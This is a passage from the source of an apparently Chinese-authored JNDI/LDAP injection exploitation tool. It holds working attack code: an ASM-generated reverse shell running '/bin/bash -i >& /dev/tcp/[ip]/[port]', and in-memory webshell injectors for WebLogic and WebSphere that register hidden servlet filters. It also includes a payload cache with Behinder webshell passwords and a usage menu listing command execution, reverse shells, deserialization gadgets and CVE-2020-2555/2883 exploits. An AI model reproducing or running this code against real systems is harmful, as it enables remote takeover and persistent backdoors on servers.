field.get(Thread.currentThread()); 31 | 32 | Object[] obj_arr = (Object[]) obj; 33 | for(int j = 0; j < obj_arr.length; j++){ 34 | Object o = obj_arr[j]; 35 | if(o == null) continue; 36 | 37 | if(o.getClass().getName().endsWith("WebContainerRequestState")){ 38 | Object request = o.getClass().getMethod("getCurrentThreadsIExtendedRequest", new Class[0]).invoke(o, new Object[0]); 39 | Object servletContext = request.getClass().getMethod("getServletContext", new Class[0]).invoke(request, new Object[0]); 40 | 41 | field = servletContext.getClass().getDeclaredField("context"); 42 | field.setAccessible(true); 43 | Object context = field.get(servletContext); 44 | 45 | field = context.getClass().getSuperclass().getDeclaredField("config"); 46 | field.setAccessible(true); 47 | Object webAppConfiguration = field.get(context); 48 | 49 | Method method = null; 50 | Method[] methods = webAppConfiguration.getClass().getMethods(); 51 | for(int i = 0; i < methods.length; i++){ 52 | if(methods[i].getName().equals("getFilterMappings")){ 53 | method = methods[i]; 54 | break; 55 | } 56 | } 57 | List filerMappings = (List) method.invoke(webAppConfiguration, new Object[0]); 58 | 59 | boolean flag = false; 60 | for(int i = 0; i < filerMappings.size(); i++){ 61 | Object filterConfig = filerMappings.get(i).getClass().getMethod("getFilterConfig", new Class[0]).invoke(filerMappings.get(i), new Object[0]); 62 | String name = (String) filterConfig.getClass().getMethod("getFilterName", new Class[0]).invoke(filterConfig, new Object[0]); 63 | if(name.equals(filterName)){ 64 | flag = true; 65 | break; 66 | } 67 | } 68 | 69 | //如果已存在同名的 Filter,就不在添加,防止重复添加 70 | if(!flag){ 71 | System.out.println("[+] Add Dynamic Filter"); 72 | 73 | ClassLoader cl = Thread.currentThread().getContextClassLoader(); 74 | try{ 75 | BASE64Decoder base64Decoder = new BASE64Decoder(); 76 | byte[] bytes = base64Decoder.decodeBuffer(DynamicFilterTemplateB64Code); 77 | 78 | Method method0 = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); 79 | method0.setAccessible(true); 80 | clazz = (Class) method0.invoke(cl, bytes, 0, bytes.length); 81 | 82 | }catch (Exception ex){ 83 | ex.printStackTrace(); 84 | } 85 | 86 | Object filterConfig = context.getClass().getMethod("createFilterConfig", new Class[]{String.class}).invoke(context, new Object[]{filterName}); 87 | Object filter = clazz.newInstance(); 88 | filterConfig.getClass().getMethod("setFilter", new Class[]{Filter.class}).invoke(filterConfig, new Object[]{filter}); 89 | 90 | method = null; 91 | methods = webAppConfiguration.getClass().getMethods(); 92 | for(int i = 0; i < methods.length; i++){ 93 | if(methods[i].getName().equals("addFilterInfo")){ 94 | method = methods[i]; 95 | break; 96 | } 97 | } 98 | method.invoke(webAppConfiguration, new Object[]{filterConfig}); 99 | 100 | field = filterConfig.getClass().getSuperclass().getDeclaredField("context"); 101 | field.setAccessible(true); 102 | Object original = field.get(filterConfig); 103 | 104 | //设置为null,从而 addMappingForUrlPatterns 流程中不会抛出异常 105 | field.set(filterConfig, null); 106 | 107 | method = filterConfig.getClass().getDeclaredMethod("addMappingForUrlPatterns", new Class[]{EnumSet.class, boolean.class, String[].class}); 108 | method.invoke(filterConfig, new Object[]{EnumSet.of(DispatcherType.REQUEST), true, new String[]{urlPattern}}); 109 | 110 | //addMappingForUrlPatterns 流程走完,再将其设置为原来的值 111 | field.set(filterConfig, original); 112 | 113 | method = null; 114 | methods = webAppConfiguration.getClass().getMethods(); 115 | for(int i = 0; i < methods.length; i++){ 116 | if(methods[i].getName().equals("getUriFilterMappings")){ 117 | method = methods[i]; 118 | break; 119 | } 120 | } 121 | 122 | //这里的目的是为了将我们添加的动态 Filter 放到第一位 123 | List uriFilterMappingInfos = (List)method.invoke(webAppConfiguration, new Object[0]); 124 | uriFilterMappingInfos.add(0, filerMappings.get(filerMappings.size() - 1)); 125 | } 126 | 127 | break; 128 | } 129 | } 130 | }catch(Exception e){ 131 | e.printStackTrace(); 132 | } 133 | } 134 | 135 | @Override 136 | public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { 137 | 138 | } 139 | 140 | @Override 141 | public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { 142 | 143 | } 144 | } 145 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/template/ReverseShellTemplate.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.template; 2 | 3 | import com.feihong.ldap.utils.Cache; 4 | import com.feihong.ldap.utils.Util; 5 | import org.objectweb.asm.*; 6 | import static org.objectweb.asm.Opcodes.*; 7 | 8 | public class ReverseShellTemplate implements Template { 9 | private String className; 10 | private byte[] bytes; 11 | private String ip; 12 | private int port; 13 | 14 | public ReverseShellTemplate(String ip, String port){ 15 | this(ip, Integer.parseInt(port)); 16 | } 17 | 18 | 19 | public ReverseShellTemplate(String ip, int port){ 20 | this.ip = ip; 21 | this.port = port; 22 | this.className = "Exploit" + Util.getRandomString(); 23 | 24 | generate(); 25 | } 26 | 27 | public ReverseShellTemplate(String ip, String port, String className){ 28 | this(ip, Integer.parseInt(port)); 29 | this.className = className; 30 | 31 | generate(); 32 | } 33 | 34 | @Override 35 | public String getClassName(){ 36 | return className; 37 | } 38 | 39 | @Override 40 | public byte[] getBytes() { 41 | return bytes; 42 | } 43 | 44 | @Override 45 | public void cache() { 46 | Cache.set(className, bytes); 47 | } 48 | 49 | @Override 50 | public void generate() { 51 | ClassWriter cw = new ClassWriter(0); 52 | FieldVisitor fv; 53 | MethodVisitor mv; 54 | AnnotationVisitor av0; 55 | 56 | cw.visit(V1_6, ACC_PUBLIC + ACC_SUPER, className, null, "com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet", null); 57 | 58 | 59 | { 60 | fv = cw.visitField(ACC_PRIVATE, "ip", "Ljava/lang/String;", null, null); 61 | fv.visitEnd(); 62 | } 63 | { 64 | fv = cw.visitField(ACC_PRIVATE, "port", "I", null, null); 65 | fv.visitEnd(); 66 | } 67 | { 68 | mv = cw.visitMethod(ACC_PUBLIC, "", "()V", null, null); 69 | mv.visitCode(); 70 | Label l0 = new Label(); 71 | Label l1 = new Label(); 72 | Label l2 = new Label(); 73 | mv.visitTryCatchBlock(l0, l1, l2, "java/lang/Exception"); 74 | Label l3 = new Label(); 75 | mv.visitLabel(l3); 76 | mv.visitLineNumber(12, l3); 77 | mv.visitVarInsn(ALOAD, 0); 78 | mv.visitMethodInsn(INVOKESPECIAL, "com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet", "", "()V", false); 79 | Label l4 = new Label(); 80 | mv.visitLabel(l4); 81 | mv.visitLineNumber(13, l4); 82 | mv.visitFieldInsn(GETSTATIC, "java/io/File", "separator", "Ljava/lang/String;"); 83 | mv.visitLdcInsn("/"); 84 | mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/String", "equals", "(Ljava/lang/Object;)Z", false); 85 | Label l5 = new Label(); 86 | mv.visitJumpInsn(IFEQ, l5); 87 | Label l6 = new Label(); 88 | mv.visitLabel(l6); 89 | mv.visitLineNumber(14, l6); 90 | mv.visitInsn(ICONST_3); 91 | mv.visitTypeInsn(ANEWARRAY, "java/lang/String"); 92 | mv.visitInsn(DUP); 93 | mv.visitInsn(ICONST_0); 94 | mv.visitLdcInsn("/bin/bash"); 95 | mv.visitInsn(AASTORE); 96 | mv.visitInsn(DUP); 97 | mv.visitInsn(ICONST_1); 98 | mv.visitLdcInsn("-c"); 99 | mv.visitInsn(AASTORE); 100 | mv.visitInsn(DUP); 101 | mv.visitInsn(ICONST_2); 102 | mv.visitLdcInsn("/bin/bash -i >& /dev/tcp/" + ip + "/" + port + " 0>&1"); 103 | mv.visitInsn(AASTORE); 104 | mv.visitVarInsn(ASTORE, 1); 105 | mv.visitLabel(l0); 106 | mv.visitLineNumber(16, l0); 107 | mv.visitMethodInsn(INVOKESTATIC, "java/lang/Runtime", "getRuntime", "()Ljava/lang/Runtime;", false); 108 | mv.visitVarInsn(ALOAD, 1); 109 | mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Runtime", "exec", "([Ljava/lang/String;)Ljava/lang/Process;", false); 110 | mv.visitInsn(POP); 111 | mv.visitLabel(l1); 112 | mv.visitLineNumber(19, l1); 113 | mv.visitJumpInsn(GOTO, l5); 114 | mv.visitLabel(l2); 115 | mv.visitLineNumber(17, l2); 116 | mv.visitFrame(Opcodes.F_FULL, 2, new Object[]{className, "[Ljava/lang/String;"}, 1, new Object[]{"java/lang/Exception"}); 117 | mv.visitVarInsn(ASTORE, 2); 118 | Label l7 = new Label(); 119 | mv.visitLabel(l7); 120 | mv.visitLineNumber(18, l7); 121 | mv.visitVarInsn(ALOAD, 2); 122 | mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Exception", "printStackTrace", "()V", false); 123 | mv.visitLabel(l5); 124 | mv.visitLineNumber(22, l5); 125 | mv.visitFrame(Opcodes.F_CHOP, 1, null, 0, null); 126 | mv.visitInsn(RETURN); 127 | Label l8 = new Label(); 128 | mv.visitLabel(l8); 129 | mv.visitLocalVariable("e", "Ljava/lang/Exception;", null, l7, l5, 2); 130 | mv.visitLocalVariable("command", "[Ljava/lang/String;", null, l0, l5, 1); 131 | mv.visitLocalVariable("this", "LReverseShell;", null, l3, l8, 0); 132 | mv.visitMaxs(4, 3); 133 | mv.visitEnd(); 134 | } 135 | { 136 | mv = cw.visitMethod(ACC_PUBLIC, "transform", "(Lcom/sun/org/apache/xalan/internal/xsltc/DOM;[Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;)V", null, new String[]{"com/sun/org/apache/xalan/internal/xsltc/TransletException"}); 137 | mv.visitCode(); 138 | Label l0 = new Label(); 139 | mv.visitLabel(l0); 140 | mv.visitLineNumber(27, l0); 141 | mv.visitInsn(RETURN); 142 | Label l1 = new Label(); 143 | mv.visitLabel(l1); 144 | mv.visitLocalVariable("this", "LReverseShell;", null, l0, l1, 0); 145 | mv.visitLocalVariable("document", "Lcom/sun/org/apache/xalan/internal/xsltc/DOM;", null, l0, l1, 1); 146 | mv.visitLocalVariable("handlers", "[Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;", null, l0, l1, 2); 147 | mv.visitMaxs(0, 3); 148 | mv.visitEnd(); 149 | } 150 | { 151 | mv = cw.visitMethod(ACC_PUBLIC, "transform", "(Lcom/sun/org/apache/xalan/internal/xsltc/DOM;Lcom/sun/org/apache/xml/internal/dtm/DTMAxisIterator;Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;)V", null, new String[]{"com/sun/org/apache/xalan/internal/xsltc/TransletException"}); 152 | mv.visitCode(); 153 | Label l0 = new Label(); 154 | mv.visitLabel(l0); 155 | mv.visitLineNumber(32, l0); 156 | mv.visitInsn(RETURN); 157 | Label l1 = new Label(); 158 | mv.visitLabel(l1); 159 | mv.visitLocalVariable("this", "LReverseShell;", null, l0, l1, 0); 160 | mv.visitLocalVariable("document", "Lcom/sun/org/apache/xalan/internal/xsltc/DOM;", null, l0, l1, 1); 161 | mv.visitLocalVariable("iterator", "Lcom/sun/org/apache/xml/internal/dtm/DTMAxisIterator;", null, l0, l1, 2); 162 | mv.visitLocalVariable("handler", "Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;", null, l0, l1, 3); 163 | mv.visitMaxs(0, 4); 164 | mv.visitEnd(); 165 | } 166 | cw.visitEnd(); 167 | bytes = cw.toByteArray(); 168 | } 169 | 170 | } 171 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/template/WeblogicMemshellTemplate1.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.template; 2 | 3 | import com.sun.jmx.mbeanserver.NamedObject; 4 | import com.sun.jmx.mbeanserver.Repository; 5 | import com.sun.org.apache.xalan.internal.xsltc.DOM; 6 | import com.sun.org.apache.xalan.internal.xsltc.TransletException; 7 | import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; 8 | import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; 9 | import com.sun.org.apache.xml.internal.serializer.SerializationHandler; 10 | import sun.misc.BASE64Decoder; 11 | import weblogic.servlet.internal.FilterManager; 12 | import weblogic.servlet.internal.WebAppServletContext; 13 | import weblogic.servlet.utils.ServletMapping; 14 | import weblogic.utils.collections.MatchMap; 15 | import javax.management.MBeanServer; 16 | import javax.management.ObjectName; 17 | import java.lang.management.ManagementFactory; 18 | import java.lang.reflect.Field; 19 | import java.lang.reflect.Method; 20 | import java.util.ArrayList; 21 | import java.util.HashSet; 22 | import java.util.Map; 23 | import java.util.Set; 24 | 25 | public class WeblogicMemshellTemplate1 extends AbstractTranslet { 26 | public String DynamicFilterTemplateB64Code; 27 | public void setDynamicFilterTemplateB64Code(){ 28 | DynamicFilterTemplateB64Code=""; 29 | } 30 | public WeblogicMemshellTemplate1(){ 31 | setDynamicFilterTemplateB64Code(); 32 | try{ 33 | String filterName = "WeblogicDynamicFilter-1"; 34 | String urlPattern = "/*"; 35 | 36 | MBeanServer server = ManagementFactory.getPlatformMBeanServer(); 37 | Field field = server.getClass().getDeclaredField("wrappedMBeanServer"); 38 | field.setAccessible(true); 39 | Object obj = field.get(server); 40 | 41 | field = obj.getClass().getDeclaredField("mbsInterceptor"); 42 | field.setAccessible(true); 43 | obj = field.get(obj); 44 | 45 | field = obj.getClass().getDeclaredField("repository"); 46 | field.setAccessible(true); 47 | Repository repository = (Repository)field.get(obj); 48 | 49 | // 这里的 query 参数会被忽略,所以直接用 null 50 | Set namedObjects = repository.query(new ObjectName("com.bea:Type=ApplicationRuntime,*"),null); 51 | for(NamedObject namedObject : namedObjects){ 52 | try{ 53 | String name = (String) namedObject.getObject().getAttribute("Name"); 54 | if(name.equals("bea_wls_internal") || name.equals("mejb") || 55 | (name.contains("bea") && name.contains("wls"))) continue; 56 | 57 | field = namedObject.getObject().getClass().getDeclaredField("managedResource"); 58 | field.setAccessible(true); 59 | obj = field.get(namedObject.getObject()); 60 | 61 | field = obj.getClass().getSuperclass().getDeclaredField("children"); 62 | field.setAccessible(true); 63 | HashSet set = (HashSet)field.get(obj); 64 | 65 | for(Object o : set){ 66 | if(o.getClass().getName().endsWith("WebAppRuntimeMBeanImpl")){ 67 | field = o.getClass().getDeclaredField("context"); 68 | field.setAccessible(true); 69 | WebAppServletContext servletContext = (WebAppServletContext) field.get(o); 70 | FilterManager filterManager = servletContext.getFilterManager(); 71 | 72 | // 判断一下,防止多次加载, 默认只加载一次,不需要重复加载 73 | if (!filterManager.isFilterRegistered(filterName)) { 74 | System.out.println("[+] Add Dynamic Filter"); 75 | 76 | ClassLoader cl = Thread.currentThread().getContextClassLoader(); 77 | Class clazz = null; 78 | try{ 79 | BASE64Decoder base64Decoder = new BASE64Decoder(); 80 | byte[] bytes = base64Decoder.decodeBuffer(DynamicFilterTemplateB64Code); 81 | 82 | Method method0 = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); 83 | method0.setAccessible(true); 84 | clazz = (Class) method0.invoke(cl, bytes, 0, bytes.length); 85 | 86 | }catch (Exception ex){ 87 | ex.printStackTrace(); 88 | } 89 | 90 | //将 Filter 注册进 FilterManager 91 | //参数: String filterName, String filterClassName, String[] urlPatterns, String[] servletNames, Map initParams, String[] dispatchers 92 | Method registerFilterMethod = filterManager.getClass().getDeclaredMethod("registerFilter", String.class, String.class, String[].class, String[].class, Map.class, String[].class); 93 | registerFilterMethod.setAccessible(true); 94 | registerFilterMethod.invoke(filterManager, filterName, "com.feihong.ldap.template.DynamicFilterTemplate", new String[]{urlPattern}, null, null, null); 95 | 96 | 97 | //将我们添加的 Filter 移动到 FilterChian 的第一位 98 | Field filterPatternListField = filterManager.getClass().getDeclaredField("filterPatternList"); 99 | filterPatternListField.setAccessible(true); 100 | ArrayList filterPatternList = (ArrayList)filterPatternListField.get(filterManager); 101 | 102 | 103 | //不能用 filterName 来判断,因为在 11g 中此值为空,在 12g 中正常 104 | for(int i = 0; i < filterPatternList.size(); i++){ 105 | Object filterPattern = filterPatternList.get(i); 106 | Field f = filterPattern.getClass().getDeclaredField("map"); 107 | f.setAccessible(true); 108 | ServletMapping mapping = (ServletMapping) f.get(filterPattern); 109 | 110 | f = mapping.getClass().getSuperclass().getDeclaredField("matchMap"); 111 | f.setAccessible(true); 112 | MatchMap matchMap = (MatchMap)f.get(mapping); 113 | 114 | Object result = matchMap.match(urlPattern); 115 | if(result != null && result.toString().contains(urlPattern)){ 116 | Object temp = filterPattern; 117 | filterPatternList.set(i, filterPatternList.get(0)); 118 | filterPatternList.set(0, temp); 119 | break; 120 | } 121 | } 122 | } 123 | } 124 | } 125 | }catch(Exception e){ 126 | //pass 127 | } 128 | } 129 | }catch (Exception e){ 130 | e.printStackTrace(); 131 | } 132 | } 133 | 134 | @Override 135 | public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { 136 | 137 | } 138 | 139 | @Override 140 | public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { 141 | 142 | } 143 | } 144 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/utils/Cache.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.utils; 2 | 3 | import com.feihong.ldap.template.*; 4 | import javassist.*; 5 | import net.jodah.expiringmap.ExpirationPolicy; 6 | import net.jodah.expiringmap.ExpiringMap; 7 | import weblogic.ldap.EmbeddedLDAPSearchResult; 8 | 9 | import java.io.IOException; 10 | import java.lang.reflect.Method; 11 | import java.util.concurrent.TimeUnit; 12 | 13 | public class Cache { 14 | 15 | public static String basicCmdShellPwd = Config.basicCmdShellPwd; 16 | public static String behinderShellHeader = Config.behinderShellHeader; 17 | public static String behinderShellPwd = Config.behinderShellPwd; 18 | public static String classSuffix = Config.classSuffix; 19 | 20 | 21 | private static ExpiringMap map = ExpiringMap.builder().maxSize(1000).expiration(30, TimeUnit.SECONDS).variableExpiration().expirationPolicy(ExpirationPolicy.CREATED).build(); 22 | 23 | static { 24 | try { 25 | String DynamicFilterTemplateBytes = getDynamicTemplateB64Code(DynamicFilterTemplate.class); 26 | String DynamicInterceptorTemplateBytes = getDynamicTemplateB64Code(DynamicInterceptorTemplate.class); 27 | 28 | //过期时间100年,永不过期的简单方法 29 | map.put("TomcatEchoTemplate", getEchoTemplateBytes(TomcatEchoTemplate.class), 365 * 100, TimeUnit.DAYS); 30 | map.put("SpringEchoTemplate", getEchoTemplateBytes(SpringEchoTemplate.class), 365 * 100, TimeUnit.DAYS); 31 | map.put("WeblogicEchoTemplate", getEchoTemplateBytes(WeblogicEchoTemplate.class), 365 * 100, TimeUnit.DAYS); 32 | map.put("TomcatMemshellTemplate1", getMemshellTemplate(TomcatMemshellTemplate1.class, DynamicFilterTemplateBytes), 365 * 100, TimeUnit.DAYS); 33 | map.put("TomcatMemshellTemplate2", getMemshellTemplate(TomcatMemshellTemplate2.class, DynamicFilterTemplateBytes), 365 * 100, TimeUnit.DAYS); 34 | map.put("JettyMemshellTemplate", getMemshellTemplate(JettyMemshellTemplate.class, DynamicFilterTemplateBytes), 365 * 100, TimeUnit.DAYS); 35 | map.put("WeblogicMemshellTemplate1", getMemshellTemplate(WeblogicMemshellTemplate1.class, DynamicFilterTemplateBytes), 365 * 100, TimeUnit.DAYS); 36 | map.put("WeblogicMemshellTemplate2", getMemshellTemplate(WeblogicMemshellTemplate2.class, DynamicFilterTemplateBytes), 365 * 100, TimeUnit.DAYS); 37 | //map.put("BehinderFilter", getMemshellTemplate(BehinderFilter.class, DynamicFilterTemplateBytes), 365 * 100, TimeUnit.DAYS); 38 | map.put("JBossMemshellTemplate", getMemshellTemplate(JBossMemshellTemplate.class, DynamicFilterTemplateBytes), 365 * 100, TimeUnit.DAYS); 39 | map.put("WebsphereMemshellTemplate", getMemshellTemplate(WebsphereMemshellTemplate.class, DynamicFilterTemplateBytes), 365 * 100, TimeUnit.DAYS); 40 | map.put("SpringMemshellTemplate", getMemshellTemplate(SpringMemshellTemplate.class, DynamicFilterTemplateBytes), 365 * 100, TimeUnit.DAYS); 41 | //map.put("isOK", Util.getClassBytes(isOK.class), 365 * 100, TimeUnit.DAYS); 42 | 43 | } catch (Exception e) { 44 | e.printStackTrace(); 45 | } 46 | } 47 | 48 | public static byte[] get(String key) { 49 | return map.get(key); 50 | } 51 | 52 | public static void set(String key, byte[] bytes) { 53 | map.put(key, bytes); 54 | } 55 | 56 | public static boolean contains(String key) { 57 | return map.containsKey(key); 58 | } 59 | 60 | public static void remove(String key) { 61 | map.remove(key); 62 | } 63 | 64 | 65 | public static String getDynamicTemplateB64Code(Class clazz) throws Exception { 66 | String className = clazz.getName(); 67 | 68 | String newClassName = className + classSuffix; 69 | ClassPool pool = ClassPool.getDefault(); 70 | CtClass ctClass = pool.get(className); 71 | if (!ctClass.isFrozen()) { 72 | CtConstructor ctConstructor = ctClass.getConstructors()[0]; 73 | String initStringCode = String.format("this.basicCmdShellPwd = \"%s\";", basicCmdShellPwd); 74 | ctConstructor.insertBeforeBody(initStringCode); 75 | initStringCode = String.format("this.behinderShellHeader = \"%s\";", behinderShellHeader); 76 | ctConstructor.insertBeforeBody(initStringCode); 77 | initStringCode = String.format("this.behinderShellPwd = \"%s\";", behinderShellPwd); 78 | ctConstructor.insertBeforeBody(initStringCode); 79 | 80 | ctClass.replaceClassName(className, newClassName); 81 | } 82 | return base64Encode(ctClass.toBytecode()); 83 | } 84 | 85 | public static byte[] getEchoTemplateBytes(Class clazz) throws CannotCompileException, NotFoundException, IOException, ClassNotFoundException { 86 | String className = clazz.getName(); 87 | String newClassName = className + classSuffix; 88 | 89 | ClassPool pool = ClassPool.getDefault(); 90 | CtClass ctClass = pool.get(className); 91 | if (!ctClass.isFrozen()) { 92 | // weblogic的有点特殊,没有办法直接修改,需要通过函数修改 93 | if (className.indexOf("Weblogic")>0) { 94 | CtMethod ctMethod = ctClass.getDeclaredMethod("setBasicCmdShellPwd"); 95 | String initStringCode = String.format("{this.basicCmdShellPwd = \"%s\";}", basicCmdShellPwd); 96 | ctMethod.setBody(initStringCode); 97 | }else{ 98 | CtConstructor ctConstructor = ctClass.getConstructors()[0]; 99 | String initStringCode = String.format("this.basicCmdShellPwd = \"%s\";", basicCmdShellPwd); 100 | ctConstructor.insertBeforeBody(initStringCode); 101 | } 102 | ctClass.replaceClassName(className, newClassName); 103 | } 104 | return ctClass.toBytecode(); 105 | } 106 | 107 | public static byte[] getMemshellTemplate(Class clazz, String DynamicFilterTemplateB64Code) throws NotFoundException, CannotCompileException, IOException { 108 | String className = clazz.getName(); 109 | String newClassName = className + classSuffix; 110 | ClassPool pool = ClassPool.getDefault(); 111 | CtClass ctClass = pool.get(className); 112 | if (!ctClass.isFrozen()) { 113 | if (className.indexOf("Weblogic")>0) { 114 | CtMethod ctMethod = ctClass.getDeclaredMethod("setDynamicFilterTemplateB64Code"); 115 | String initStringCode = String.format("{this.DynamicFilterTemplateB64Code = \"%s\";}", DynamicFilterTemplateB64Code); 116 | ctMethod.setBody(initStringCode); 117 | }else { 118 | CtConstructor ctConstructor = ctClass.getConstructors()[0]; 119 | String initStringCode = String.format("this.DynamicFilterTemplateB64Code = \"%s\";", DynamicFilterTemplateB64Code); 120 | ctConstructor.insertBeforeBody(initStringCode); 121 | } 122 | ctClass.replaceClassName(className, newClassName); 123 | } 124 | return ctClass.toBytecode(); 125 | } 126 | 127 | public static String base64Encode(byte[] bytes) throws Exception { 128 | String result; 129 | 130 | try { 131 | Class clazz = Class.forName("java.util.Base64"); 132 | Method method = clazz.getDeclaredMethod("getEncoder"); 133 | Object obj = method.invoke(null); 134 | method = obj.getClass().getDeclaredMethod("encodeToString", byte[].class); 135 | obj = method.invoke(obj, bytes); 136 | result = (String) obj; 137 | } catch (ClassNotFoundException e) { 138 | Class clazz = Class.forName("sun.misc.BASE64Encoder"); 139 | Method method = clazz.getMethod("encodeBuffer", byte[].class); 140 | Object obj = method.invoke(clazz.newInstance(), bytes); 141 | result = (String) obj; 142 | result = result.replaceAll("\r|\n|\r\n", ""); 143 | } 144 | 145 | return result; 146 | } 147 | } 148 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/utils/Config.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.utils; 2 | 3 | import com.beust.jcommander.JCommander; 4 | import com.beust.jcommander.Parameter; 5 | import com.beust.jcommander.UnixStyleUsageFormatter; 6 | import javassist.CannotCompileException; 7 | import javassist.NotFoundException; 8 | 9 | import java.util.UUID; 10 | import java.io.IOException; 11 | import java.util.Objects; 12 | 13 | public class Config { 14 | public static String codeBase; 15 | 16 | @Parameter(names = {"-i", "--ip"}, description = "Local ip address ", required = true, order = 1) 17 | public static String ip = "127.0.0.1"; 18 | 19 | @Parameter(names = {"-l", "--ldapPort"}, description = "Ldap bind port", order = 2) 20 | public static int ldapPort = 1389; 21 | 22 | @Parameter(names = {"-p", "--httpPort"}, description = "Http bind port", order = 3) 23 | public static int httpPort = 3456; 24 | @Parameter(names = {"-py", "--python"}, description = "Python System Command ex: python3 python2 ... ", order = 4) 25 | public static String python; 26 | @Parameter(names = {"-u", "--usage"}, description = "Show usage", order = 5) 27 | public static boolean showUsage = false; 28 | 29 | @Parameter(names = {"-h", "--help"}, help = true, description = "Show this help", order = 6) 30 | private static boolean help = false; 31 | 32 | 33 | @Parameter(names = {"-c", "--basicCmdShellPwd"}, description = "自定义basic密码", order = 7) 34 | public static String basicCmdShellPwd = "Cmd"; 35 | @Parameter(names = {"-bh", "--behinderShellHeader"}, description = "自定义冰蝎请求头", order = 8) 36 | public static String behinderShellHeader = "X-Options-Ai"; 37 | @Parameter(names = {"-bp", "--behinderShellPwd"}, description = "自定义冰蝎密码", order = 9) 38 | public static String behinderShellPwd = "e45e329feb5d925b"; // rebeyond 39 | @Parameter(names = {"-cs", "--classSuffix"}, description = "自定义类名后缀,auto为随机生成UUID", order = 10) 40 | public static String classSuffix = "Hypdncy"; 41 | 42 | public static void applyCmdArgs(String[] args) throws NotFoundException, CannotCompileException, IOException, ClassNotFoundException { 43 | //process cmd args 44 | JCommander jc = JCommander.newBuilder().addObject(new Config()).build(); 45 | try { 46 | jc.parse(args); 47 | } catch (Exception e) { 48 | if (!showUsage) { 49 | System.out.println("Error: " + e.getMessage() + "\n"); 50 | help = true; 51 | } 52 | } 53 | 54 | if (showUsage) { 55 | String ip = (Config.ip != null) ? Config.ip : "[IP]"; 56 | String port = (Config.ip != null) ? Config.ldapPort + "" : "[PORT]"; 57 | 58 | System.out.println("Supported LADP Queries:"); 59 | System.out.println("* all words are case INSENSITIVE when send to ldap server"); 60 | String prefix = "ldap://" + Config.ip + ":" + Config.ldapPort + "/"; 61 | System.out.println("\n[+] Basic Queries: " + prefix + "Basic/[PayloadType]/[Params], e.g."); 62 | System.out.println(" " + prefix + "Basic/Dnslog/[domain]"); 63 | System.out.println(" " + prefix + "Basic/Command/[cmd]"); 64 | System.out.println(" " + prefix + "Basic/Command/Base64/[base64_encoded_cmd]"); 65 | System.out.println(" " + prefix + "Basic/ReverseShell/[ip]/[port] ---windows NOT supported"); 66 | System.out.println(" " + prefix + "Basic/TomcatEcho"); 67 | System.out.println(" " + prefix + "Basic/SpringEcho"); 68 | System.out.println(" " + prefix + "Basic/WeblogicEcho"); 69 | System.out.println(" " + prefix + "Basic/TomcatMemshell1"); 70 | System.out.println(" " + prefix + "Basic/TomcatMemshell2 ---need extra header [shell: true]"); 71 | // System.out.println(" " + prefix + "Basic/TomcatMemshell3"); 72 | System.out.println(" " + prefix + "Basic/JettyMemshell"); 73 | System.out.println(" " + prefix + "Basic/WeblogicMemshell1"); 74 | System.out.println(" " + prefix + "Basic/WeblogicMemshell2"); 75 | System.out.println(" " + prefix + "Basic/JBossMemshell"); 76 | System.out.println(" " + prefix + "Basic/WebsphereMemshell"); 77 | System.out.println(" " + prefix + "Basic/SpringMemshell"); 78 | 79 | System.out.println("\n[+] Deserialize Queries: " + prefix + "Deserialization/[GadgetType]/[PayloadType]/[Params], e.g."); 80 | System.out.println(" " + prefix + "Deserialization/URLDNS/[domain]"); 81 | System.out.println(" " + prefix + "Deserialization/CommonsCollectionsK1/Dnslog/[domain]"); 82 | System.out.println(" " + prefix + "Deserialization/CommonsCollectionsK2/Command/Base64/[base64_encoded_cmd]"); 83 | System.out.println(" " + prefix + "Deserialization/CommonsBeanutils1/ReverseShell/[ip]/[port] ---windows NOT supported"); 84 | System.out.println(" " + prefix + "Deserialization/CommonsBeanutils2/TomcatEcho"); 85 | System.out.println(" " + prefix + "Deserialization/C3P0/SpringEcho"); 86 | System.out.println(" " + prefix + "Deserialization/Jdk7u21/WeblogicEcho"); 87 | System.out.println(" " + prefix + "Deserialization/Jre8u20/TomcatMemshell"); 88 | System.out.println(" " + prefix + "Deserialization/CVE_2020_2555/WeblogicMemshell1"); 89 | System.out.println(" " + prefix + "Deserialization/CVE_2020_2883/WeblogicMemshell2 ---ALSO support other memshells"); 90 | 91 | System.out.println("\n[+] TomcatBypass Queries"); 92 | System.out.println(" " + prefix + "TomcatBypass/Dnslog/[domain]"); 93 | System.out.println(" " + prefix + "TomcatBypass/Command/[cmd]"); 94 | System.out.println(" " + prefix + "TomcatBypass/Command/Base64/[base64_encoded_cmd]"); 95 | System.out.println(" " + prefix + "TomcatBypass/ReverseShell/[ip]/[port] ---windows NOT supported"); 96 | System.out.println(" " + prefix + "TomcatBypass/TomcatEcho"); 97 | System.out.println(" " + prefix + "TomcatBypass/SpringEcho"); 98 | System.out.println(" " + prefix + "TomcatBypass/TomcatMemshell1"); 99 | System.out.println(" " + prefix + "TomcatBypass/TomcatMemshell2 ---need extra header [shell: true]"); 100 | System.out.println(" " + prefix + "TomcatBypass/TomcatMemshell3 /ateam pass1024"); 101 | System.out.println(" " + prefix + "TomcatBypass/SpringMemshell"); 102 | 103 | System.out.println("\n[+] 